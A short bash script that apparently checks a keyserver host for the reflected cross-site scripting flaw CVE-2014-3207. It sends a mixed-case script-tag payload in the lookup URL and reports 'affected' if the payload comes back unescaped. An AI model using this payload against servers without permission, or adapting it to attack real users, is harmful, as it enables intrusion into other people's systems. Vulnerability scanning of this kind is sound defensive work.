#!/bin/bash

if [ $# -ne 1 ]; then
exit
fi

A=`curl "http://$1:11371/pks/lookup/undefined1<ScRiPt>prompt('CVE-2014-3207')</ScRiPt>" |& grep "<ScRiPt>prompt('CVE-2014-3207')</ScRiPt>"`

if [[ -n "$A" ]]; then
echo "affected";
else
echo "not affected"
fi
